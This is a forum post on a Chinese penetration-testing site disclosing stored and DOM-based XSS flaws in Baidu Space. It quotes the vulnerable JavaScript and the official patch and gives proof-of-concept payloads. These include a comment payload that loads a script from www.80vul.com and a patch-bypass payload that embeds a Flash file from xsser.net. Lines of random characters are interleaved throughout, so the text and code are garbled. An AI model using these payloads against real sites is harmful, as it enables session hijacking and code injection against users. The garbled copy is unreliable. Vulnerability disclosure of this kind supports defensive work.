中国网络渗透测试联盟
标题:
hi.baidu Xss 漏洞
[打印本页]
作者:
admin
时间:
2013-8-24 11:51
标题:
hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
2 c" Q% x6 b7 F/ b- y
4 t5 Z; l' c" X* L
1.在
http://hi.baidu.com/p__z/modify/sppet
中,用户可以输入留言管理,提交后,未过滤直接储存.
7 V% q2 g6 w9 s9 p/ H8 P9 Y0 |
2.在
http://hi.baidu.com/ui/scripts/pet/pet.js
中
2 N: c6 g! I0 d9 i3 o& g7 v2 c" [
% m) ?7 E: Z0 T8 d
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
) U" [ |) s. S
其中BdUtil.insertWBR为
/ Q3 m, b" t4 [, R9 j
function(text, step) {
1 i' Z V" m. G$ J
var textarea = textAreaCache || getContainer();
" L$ s' E& F3 ?; p
if (!textarea) {
% X C+ Q. t Q$ {) E+ G& l2 o
return text;
' B4 t$ }* H+ [: a- K/ X2 a
}
2 ^$ e. t- R ]0 c
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
9 k) `! {: C2 U2 ?; V* y0 g
var string = textarea.value;
' Z# s3 k4 \. L$ P; X2 u
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
, `! A+ l) E$ A! N8 C
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
7 I t4 L" D' q7 R# [
return result;
) x' i; a8 s! m" o. U
}
# m4 A5 i5 g' t$ A1 N
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
/ j( y7 M5 {6 f' C/ x$ Y
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
4 w$ l) |) {: S3 X" ^1 j
1 O0 {" e$ n1 R7 q( k0 m1 C7 x3 J2 a' d
二:creatbgmusic() Dom-Xss Bug
4 L& H* h* \8 r4 |+ `
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
1 R4 b! |1 M) H/ U1 Q5 x, v# U3 K
+ d9 N ?0 U9 O& M
在
http://hi.baidu.com//js/bgmusic.js?v=1.0.js
代码:
$ t/ P3 V: x5 Q% M+ x0 Z- P
% {& `0 {$ e, F! u" Z
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
2 O# R9 ~8 \4 T% }4 d/ u
//传入的murl赋值到bgmusic1和bgmusic2中
4 i+ C a0 {/ t0 v
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
1 a" q1 i+ D8 w( b
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
) u) ~; ?8 k% ^! g) i$ J
if (musicnum <= 1) {
; u. T4 Z& J& c' K; e
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
3 o' a! [$ C+ i- ~; N: {
}
2 A: @$ H& e3 `) U6 D; ]
bgmusic1 += "</OBJECT>";
( k* b+ i) R, q& r
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
: F2 D% R1 H( Q2 g
if (musicnum <= 1) {
1 R( B+ Y0 P" M) I8 u1 P7 A' U" n( ^
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
: d' w, `0 N1 ]
}
5 |4 c8 s$ Q7 [: x% U& Q7 P. d1 G' x
bgmusic2 += "> </EMBED>";
$ u1 t3 [5 ^7 X1 x0 ?% I
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
! a( a% s t8 d- w
var bgmus = detectWMP();
6 C0 A. _5 @7 r
if (functype == "FckMusicHelper") {
; e6 V3 {- D0 V1 U' r0 `) z
if (bgmus.installed) {
) @& N! B3 x6 S0 e- Z, b5 h
if (bgmus.type == "IE") {
) _/ O: c& Q4 T+ o# ~0 z
return bgmusic1;
% A" `& ?5 y6 S; Z: o @+ [4 w0 K
} else if (bgmus.type == "NS") {
4 i& a/ S& ?& t2 ~3 z
return bgmusic2;
3 a7 @. X. o) ~9 q% e+ A
}
8 T* h2 U# W4 L' q
} else {
4 Q. ?8 k* g$ p5 `: i- l$ X
return bgmusic3;
0 o% n! @/ a# q0 K J' e% ^
}
u, ~2 `/ m8 q; k: i' P
} else {
' [0 Y- _9 b# c; L0 q7 b- l U
if (bgmus.installed) {
- ^. x! N! I2 V' E
//document.write 直接输出bgmusic变量 导致xss
% q( M* y, D8 |% O% E' h
if (bgmus.type == "IE") {
4 L! U8 O( V. q5 W# H
document.write(bgmusic1);
3 U7 Z: g' }5 j# u4 g
} else if (bgmus.type == "NS") {
|6 _3 z3 I) e% ~* b
document.write(bgmusic2);
$ }) g# M( H% A
}
* t& l4 ^1 x4 X9 J/ H* m
} else {
- }1 r! h( b% c( T$ w4 W; Z g
document.write(bgmusic3);
. E+ }) u7 \. m: r8 f' m8 s
}
* A' t+ V1 A* B
return "";
" |! B3 n- |5 g# q. G% g/ }: \/ E9 \7 c4 U
}
8 T$ o( b, i) Z. W9 G8 H/ u
}
+ @: l [& J8 \5 ^/ R& ?. I
7 t6 Q T2 f# i$ R6 g- |- D
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
/ r) Z! h6 E9 J; x: H
4 z( d2 V2 k) ~+ X& r! o. K$ m
function initBlogTextForFCK(){
1 k0 k6 z" b" {4 O0 e2 E2 T
//fck init music
+ }( ]1 z7 }( p& Q( |' V
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
9 r$ w) o0 T: e% A8 T5 K9 j" Z; C8 c9 u1 z
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
' p0 n- ^9 e9 n6 Q% r6 c* k2 m
var isAutoPlay=true;
2 m5 e0 U* T* v. d/ M, {
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
1 e8 s1 C! k+ [- X5 O* X
var img=imgBox;
D1 l0 D3 S' g D' a) E# [
if(img.getAttribute(’rel’)){
% g1 b% _2 x" }, @1 ^
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
4 ~) K. q5 q0 A: e R2 _
var musicDiv = document.createElement("SPAN");
" o; l, ^2 g4 X2 {% E4 b& e
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
/ e6 Z6 I1 p- i d2 O
3 o, C% g! T! @+ Y. w
..........................
! W @/ ^$ q* }+ O5 v2 I: N7 I
* `4 m8 L: I& s
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
% X; |' r: t' i' j1 s7 n+ F
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
8 N2 c% t3 {. p# p |6 v& g
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
( J/ `/ H& H# M" P! i
musicDiv.innerHTML=shtml;
@) p! q( Q7 }( G! A
i--;n--;
9 w2 L6 ]" X! @9 N8 }0 _
}
" ]/ n5 b8 }7 k6 C0 h
}
$ F7 G# _( e2 M8 M; r; e
2 m7 y3 b7 p4 j; a4 q7 A
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
0 `" Y2 L4 u0 e- [9 j; x) K
: g$ z6 j3 m# y& D+ m! D
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
8 T. C# f4 ]0 k4 |9 L1 N
) n+ d/ \8 Y- _! x3 E, Y3 [
等待官方补丁
3 P9 X1 z6 s5 k* p Q& v
4 L/ E5 O# Q$ L- `
update 2010年5月13日
$ z: m( _% E$ a0 @
, P1 G [8 Z0 S
官方补丁:
0 D% T$ j! K: ]3 h2 W) R
. ]6 H9 T( L3 y+ v: m9 C v
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
$ x0 n5 A" w& ?* D0 f2 |
改为:
c1 x5 v. T* u% g ~$ [
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
- s$ ^$ b% U; f3 O* e0 }/ T
% {' V5 R& ~/ f
update 2010年5月13日 21:50:37
: ^; w o: B0 @. b/ K
7 ?+ k, U# B; b8 @. R& u
补丁存在漏洞 没有过滤" 可以继续跨:
2 M* a5 v2 m# s5 D# | C
0 N7 |& c+ Q1 X) |
NEW POC:
8 x) T! h' W8 B9 W: H2 X( C
: x5 s) ]1 u4 W) W! @
<img width="200" height="45" _fcksavedurl="
http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif
" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’
http://www.xsser.net/pz/js.swf
"
! Z6 z% S, s' Y4 h9 F) Z" }2 i7 F
4 o7 U' M$ ^. O4 ^/ x x
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
% i9 Y1 I ^+ c8 `% L8 U
$ Z: e5 e% c$ x+ S: m
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2